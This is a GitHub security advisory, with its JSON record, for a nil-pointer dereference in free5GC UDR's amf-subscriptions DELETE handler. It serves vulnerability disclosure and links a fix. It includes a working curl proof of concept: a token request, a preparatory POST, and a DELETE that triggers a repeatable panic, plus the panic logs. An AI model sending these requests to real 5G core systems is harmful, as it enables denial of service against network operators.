GHSA-4RQF-GRM6-VF75
Vulnerability from github – Published: 2026-05-08 22:52 – Updated: 2026-05-08 22:52Summary
free5GC's UDR nudr-dr DELETE /subscription-data/{ueId}/{servingPlmnId}/ee-subscriptions/{subsId}/amf-subscriptions handler contains a nil-pointer dereference reachable from a single authenticated request, after one preparatory authenticated EE-subscription create. The handler checks _, ok = UESubsData.EeSubscriptionCollection[subsId] and sets a 404 problem-details on the miss path, but then continues to UESubsData.EeSubscriptionCollection[subsId].AmfSubscriptionInfos -- dereferencing the same missing entry instead of returning. Gin recovery converts the panic into HTTP 500, but the endpoint remains repeatedly panicable.
This endpoint requires a valid nudr-dr OAuth2 access token (i.e. PR:L, NOT PR:N), so this is scored as an authenticated panic-DoS, not as an unauth-bypass finding.
Details
Validated against the UDR container in the official Docker compose lab.
- Source repo tag: v4.2.1
- Running Docker image: free5gc/udr:v4.2.1
- Runtime UDR commit: 754d23b0
- Docker validation date: 2026-03-22
- UDR endpoint: http://10.100.200.11:8000
Precondition (one authenticated EE-subscription create allocates UE state):
if !ok {
udrSelf.UESubsCollection.Store(ueId, new(udr_context.UESubsData))
value, _ = udrSelf.UESubsCollection.Load(ueId)
}
...
UESubsData.EeSubscriptionCollection[newSubscriptionID] = new(udr_context.EeSubscriptionCollection)
Vulnerable handler (delete on amf-subscriptions): the ok miss path sets pd but does not return, so the very next line dereferences the nil entry:
_, ok = UESubsData.EeSubscriptionCollection[subsId]
if !ok {
pd = util.ProblemDetailsNotFound("SUBSCRIPTION_NOT_FOUND")
}
if UESubsData.EeSubscriptionCollection[subsId].AmfSubscriptionInfos == nil {
pd = util.ProblemDetailsNotFound("AMFSUBSCRIPTION_NOT_FOUND")
}
When subsId is absent, UESubsData.EeSubscriptionCollection[subsId] is nil, and .AmfSubscriptionInfos panics with runtime error: invalid memory address or nil pointer dereference.
Code evidence (paths in free5gc/udr):
- Precondition route + handler (EE-subscription create that allocates UE state):
- NFs/udr/internal/sbi/api_datarepository.go:600
- NFs/udr/internal/sbi/api_datarepository.go:602
- NFs/udr/internal/sbi/api_datarepository.go:2528
- NFs/udr/internal/sbi/processor/event_exposure_subscriptions_collection.go:25
- NFs/udr/internal/sbi/processor/event_exposure_subscriptions_collection.go:30
- NFs/udr/internal/sbi/processor/event_exposure_subscriptions_collection.go:38
- Vulnerable delete route + dispatch:
- NFs/udr/internal/sbi/api_datarepository.go:2161
- NFs/udr/internal/sbi/api_datarepository.go:2172
- Panic root cause (nil deref):
- NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:62
- NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:64
- NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:69
PoC
Reproduced end-to-end against the running UDR at http://10.100.200.11:8000.
- Restart UDR (clean state):
docker restart udr
- Obtain a valid
nudr-drtoken from NRF:
curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=UDR&scope=nudr-dr'
- Create one EE subscription to populate
UESubsCollectionforueId=x:
curl -i -sS -X POST \
'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/context-data/ee-subscriptions' \
-H 'Authorization: Bearer <valid_nudr_dr_jwt>' \
-H 'Content-Type: application/json' \
--data '{}'
HTTP/1.1 201 Created
- Trigger the panic with a nonexistent
subsId:
curl -i -sS -X DELETE \
'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions' \
-H 'Authorization: Bearer <valid_nudr_dr_jwt>'
HTTP/1.1 500 Internal Server Error
Content-Length: 0
- UDR container logs (
docker logs udr) confirm the nil-pointer panic atevent_amf_subscription_info_document.go:69insideRemoveAmfSubscriptionsInfoProcedure:
[ERRO][UDR][GIN] panic: runtime error: invalid memory address or nil pointer dereference
github.com/free5gc/udr/internal/sbi/processor.(*Processor).RemoveAmfSubscriptionsInfoProcedure
.../event_amf_subscription_info_document.go:69
github.com/free5gc/udr/internal/sbi.(*Server).HandleRemoveAmfSubscriptionsInfo
.../api_datarepository.go:2172
[INFO][UDR][GIN] | 500 | DELETE | /nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions |
Impact
NULL pointer dereference (CWE-476) in an authenticated UDR data-repository handler, caused by improper handling of the missing-subsId branch (CWE-754): the handler sets a problem-details value but does not return, then dereferences the same missing map entry.
This is NOT framed as an auth-bypass finding: the endpoint requires a valid nudr-dr OAuth2 access token. A network attacker who already holds (or can obtain) a valid token can:
- Trigger a reliable, repeatable nil-deref panic on the amf-subscriptions delete route after one preparatory POST that allocates UE state for the chosen ueId.
- Repeat the trigger to sustain a per-request panic-DoS on UDR's data-repository surface, with each panic costing more CPU + log writes than the intended 404 SUBSCRIPTION_NOT_FOUND response would have.
No Confidentiality impact (the response is 500 with empty body; no UE data is returned to the attacker via the panic). No persistent Integrity impact from the panic itself (the EE subscription created during the precondition is in-memory state owned by UDR's intended data-repository semantics, and is not corrupted by the delete-time panic). Availability impact is limited to per-request degradation (Gin recovers; the UDR process keeps running).
Affected: free5gc v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/919 Upstream fix: https://github.com/free5gc/udr/pull/60
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"aliases": [
"CVE-2026-44323"
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"details": "### Summary\nfree5GC\u0027s UDR `nudr-dr` `DELETE /subscription-data/{ueId}/{servingPlmnId}/ee-subscriptions/{subsId}/amf-subscriptions` handler contains a nil-pointer dereference reachable from a single authenticated request, after one preparatory authenticated EE-subscription create. The handler checks `_, ok = UESubsData.EeSubscriptionCollection[subsId]` and sets a `404` problem-details on the miss path, but then continues to `UESubsData.EeSubscriptionCollection[subsId].AmfSubscriptionInfos` -- dereferencing the same missing entry instead of returning. Gin recovery converts the panic into `HTTP 500`, but the endpoint remains repeatedly panicable.\n\nThis endpoint requires a valid `nudr-dr` OAuth2 access token (i.e. PR:L, NOT PR:N), so this is scored as an authenticated panic-DoS, not as an unauth-bypass finding.\n\n### Details\nValidated against the UDR container in the official Docker compose lab.\n- Source repo tag: `v4.2.1`\n- Running Docker image: `free5gc/udr:v4.2.1`\n- Runtime UDR commit: `754d23b0`\n- Docker validation date: 2026-03-22\n- UDR endpoint: `http://10.100.200.11:8000`\n\nPrecondition (one authenticated EE-subscription create allocates UE state):\n```go\nif !ok {\n udrSelf.UESubsCollection.Store(ueId, new(udr_context.UESubsData))\n value, _ = udrSelf.UESubsCollection.Load(ueId)\n}\n...\nUESubsData.EeSubscriptionCollection[newSubscriptionID] = new(udr_context.EeSubscriptionCollection)\n```\n\nVulnerable handler (delete on amf-subscriptions): the `ok` miss path sets `pd` but does not return, so the very next line dereferences the nil entry:\n```go\n_, ok = UESubsData.EeSubscriptionCollection[subsId]\nif !ok {\n pd = util.ProblemDetailsNotFound(\"SUBSCRIPTION_NOT_FOUND\")\n}\n\nif UESubsData.EeSubscriptionCollection[subsId].AmfSubscriptionInfos == nil {\n pd = util.ProblemDetailsNotFound(\"AMFSUBSCRIPTION_NOT_FOUND\")\n}\n```\nWhen `subsId` is absent, `UESubsData.EeSubscriptionCollection[subsId]` is nil, and `.AmfSubscriptionInfos` panics with `runtime error: invalid memory address or nil pointer dereference`.\n\nCode evidence (paths in `free5gc/udr`):\n- Precondition route + handler (EE-subscription create that allocates UE state):\n - `NFs/udr/internal/sbi/api_datarepository.go:600`\n - `NFs/udr/internal/sbi/api_datarepository.go:602`\n - `NFs/udr/internal/sbi/api_datarepository.go:2528`\n - `NFs/udr/internal/sbi/processor/event_exposure_subscriptions_collection.go:25`\n - `NFs/udr/internal/sbi/processor/event_exposure_subscriptions_collection.go:30`\n - `NFs/udr/internal/sbi/processor/event_exposure_subscriptions_collection.go:38`\n- Vulnerable delete route + dispatch:\n - `NFs/udr/internal/sbi/api_datarepository.go:2161`\n - `NFs/udr/internal/sbi/api_datarepository.go:2172`\n- Panic root cause (nil deref):\n - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:62`\n - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:64`\n - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:69`\n\n### PoC\nReproduced end-to-end against the running UDR at `http://10.100.200.11:8000`.\n\n1. Restart UDR (clean state):\n```\ndocker restart udr\n```\n\n2. Obtain a valid `nudr-dr` token from NRF:\n```\ncurl -sS -X POST \u0027http://10.100.200.3:8000/oauth2/token\u0027 \\\n -H \u0027Content-Type: application/x-www-form-urlencoded\u0027 \\\n --data \u0027grant_type=client_credentials\u0026nfType=NEF\u0026nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57\u0026targetNfType=UDR\u0026scope=nudr-dr\u0027\n```\n\n3. Create one EE subscription to populate `UESubsCollection` for `ueId=x`:\n```\ncurl -i -sS -X POST \\\n \u0027http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/context-data/ee-subscriptions\u0027 \\\n -H \u0027Authorization: Bearer \u003cvalid_nudr_dr_jwt\u003e\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \u0027{}\u0027\n```\n```\nHTTP/1.1 201 Created\n```\n\n4. Trigger the panic with a nonexistent `subsId`:\n```\ncurl -i -sS -X DELETE \\\n \u0027http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions\u0027 \\\n -H \u0027Authorization: Bearer \u003cvalid_nudr_dr_jwt\u003e\u0027\n```\n```\nHTTP/1.1 500 Internal Server Error\nContent-Length: 0\n```\n\n5. UDR container logs (`docker logs udr`) confirm the nil-pointer panic at `event_amf_subscription_info_document.go:69` inside `RemoveAmfSubscriptionsInfoProcedure`:\n```\n[ERRO][UDR][GIN] panic: runtime error: invalid memory address or nil pointer dereference\ngithub.com/free5gc/udr/internal/sbi/processor.(*Processor).RemoveAmfSubscriptionsInfoProcedure\n .../event_amf_subscription_info_document.go:69\ngithub.com/free5gc/udr/internal/sbi.(*Server).HandleRemoveAmfSubscriptionsInfo\n .../api_datarepository.go:2172\n[INFO][UDR][GIN] | 500 | DELETE | /nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions |\n```\n\n### Impact\nNULL pointer dereference (CWE-476) in an authenticated UDR data-repository handler, caused by improper handling of the missing-subsId branch (CWE-754): the handler sets a problem-details value but does not return, then dereferences the same missing map entry.\n\nThis is NOT framed as an auth-bypass finding: the endpoint requires a valid `nudr-dr` OAuth2 access token. A network attacker who already holds (or can obtain) a valid token can:\n- Trigger a reliable, repeatable nil-deref panic on the `amf-subscriptions` delete route after one preparatory POST that allocates UE state for the chosen `ueId`.\n- Repeat the trigger to sustain a per-request panic-DoS on UDR\u0027s data-repository surface, with each panic costing more CPU + log writes than the intended `404 SUBSCRIPTION_NOT_FOUND` response would have.\n\nNo Confidentiality impact (the response is `500` with empty body; no UE data is returned to the attacker via the panic). No persistent Integrity impact from the panic itself (the EE subscription created during the precondition is in-memory state owned by UDR\u0027s intended data-repository semantics, and is not corrupted by the delete-time panic). Availability impact is limited to per-request degradation (Gin recovers; the UDR process keeps running).\n\nAffected: free5gc v4.2.1.\n\nUpstream issue: https://github.com/free5gc/free5gc/issues/919\nUpstream fix: https://github.com/free5gc/udr/pull/60",
"id": "GHSA-4rqf-grm6-vf75",
"modified": "2026-05-08T22:52:00Z",
"published": "2026-05-08T22:52:00Z",
"references": [
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"type": "WEB",
"url": "https://github.com/free5gc/free5gc/security/advisories/GHSA-4rqf-grm6-vf75"
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"url": "https://github.com/free5gc/free5gc/issues/919"
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"url": "https://github.com/free5gc/udr/pull/60"
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"url": "https://github.com/free5gc/udr/commit/8a1d3c63be99d378806d771f086ff32f1867da99"
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"type": "PACKAGE",
"url": "https://github.com/free5gc/free5gc"
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"schema_version": "1.4.0",
"severity": [
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"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
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"summary": "free5GC\u0027s UDR nudr-dr DELETE amf-subscriptions panics on missing subsId when UE state exists (nil pointer dereference)"
}
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